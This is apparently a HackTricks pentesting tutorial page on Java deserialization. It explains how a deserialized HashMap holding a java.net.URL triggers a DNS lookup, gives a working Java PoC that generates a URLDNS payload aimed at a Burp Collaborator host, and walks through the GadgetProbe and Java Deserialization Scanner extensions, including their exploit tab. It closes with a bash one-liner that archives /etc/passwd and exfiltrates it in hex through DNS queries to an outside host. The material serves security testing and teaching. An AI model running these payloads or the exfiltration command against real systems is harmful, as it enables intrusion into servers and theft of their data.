# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## DNS request on deserialization The class `java.net.URL` implements `Serializable`, this means that this class can be serialized. ```java public final class URL implements java.io.Serializable { ``` This class have a **curious behaviour.** From the documentation: “**Two hosts are considered equivalent if both host names can be resolved into the same IP addresses**”.\ Then, every-time an URL object calls **any** of the **functions `equals`** or **`hashCode`** a **DNS request** to get the IP Address is going to be **sent**. **Calling** the function **`hashCode`** **from** an **URL** object is fairly easy, it's enough to insert this object inside a `HashMap` that is going to be deserialized. This is because **at the end** of the **`readObject`** function from `HashMap` this code is executed: ```java private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { [ ... ] for (int i = 0; i < mappings; i++) { [ ... ] putVal(hash(key), key, value, false, false); } ``` It is **going** the **execute** `putVal` with every value inside the `HashMap`. But, more relevant is the call to `hash` with every value. This is the code of the `hash` function: ```java static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } ``` As you can observe, **when deserializing** a **`HashMap`** the function `hash` is going to **be executed with every object** and **during** the **`hash`** execution **it's going to be executed `.hashCode()` of the object**. Therefore, if you **deserializes** a **`HashMap`** **containing** a **URL** object, the **URL object** will **execute** `.hashCode()`. Now, lets take a look to the code of `URLObject.hashCode()` : ```java public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; ``` As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. A continuation you can see the code of this function: ```java protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); [ ... ] ``` You can see that a `getHostAddress` is executed to the domain, **launching a DNS query**. Therefore, this class can be **abused** in order to **launch** a **DNS query** to **demonstrate** that **deserialization** is possible, or even to **exfiltrate information** (you can append as subdomain the output of a command execution). ### URLDNS payload code example You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial): ```java import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; import java.net.URL; public class URLDNS { public static void GeneratePayload(Object instance, String file) throws Exception { //Serialize the constructed payload and write it to the file File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //Read the written payload and deserialize it ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); Object obj = in.readObject(); System.out.println(obj); in.close(); } public static void main(final String[] args) throws Exception { String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net"; HashMap ht = new HashMap(); // HashMap that will contain the URL URLStreamHandler handler = new SilentURLStreamHandler(); URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. // During the put above, the URL's hashCode is calculated and cached. // This resets that so the next time hashCode is called a DNS lookup will be triggered. final Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u, -1); //Test the payloads GeneratePayload(ht, "C:\\Users\\Public\\payload.serial"); } } class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } ``` ### More information * [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) * In the original idea thee commons collections payload was changed to perform a DNS query, this was less reliable that the proposed method, but this is the post: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) ## GadgetProbe You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender). **GadgetProbe** will try to figure out if some **Java classes exist** on the Java class of the server so you can know **if** it's **vulnerable** to some known exploit. ### How does it work **GadgetProbe** will use the same **DNS payload of the previous section** but **before** running the DNS query it will **try to deserialize an arbitrary class**. If the **arbitrary class exists**, the **DNS query** will be **sent** and GadgProbe will note that this class exist. If the **DNS** request is **never sent**, this means that the **arbitrary class wasn't deserialized** successfully so either it's not present or it''s **not serializable/exploitable**. Inside the github, [**GadgetProbe has some wordlists**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) with Java classes for being tested. ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1).gif>) ### More Information * [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) ## Java Deserialization Scanner This scanner can be **download** from the Burp App Store (**Extender**).\ The **extension** has **passive** and active **capabilities**. ### Passive By default it **checks passively** all the requests and responses sent **looking** for **Java serialized magic bytes** and will present a vulnerability warning if any is found: ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (765).png>) ### Active **Manual Testing** You can select a request, right click and `Send request to DS - Manual Testing`.\ Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used). ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png) Even if this is called "Manual testing", it's pretty **automated**. It will automatically check if the **deserialization** is **vulnerable** to **any ysoserial payload** checking the libraries present on the web server and will highlight the ones vulnerable. In order to **check** for **vulnerable libraries** you can select to launch **Javas Sleeps**, **sleeps** via **CPU** consumption, or using **DNS** as it has previously being mentioned. **Exploiting** Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\ I this tab you have to **select** the **injection point** again, an **write** the **vulnerable library** you want to create a payload for, and the **command**. Then, just press the appropriate **Attack** button. ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/4.png) ### Java Deserialization DNS Exfil information Make your payload execute something like the following: ```bash (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) ``` ### More Information * [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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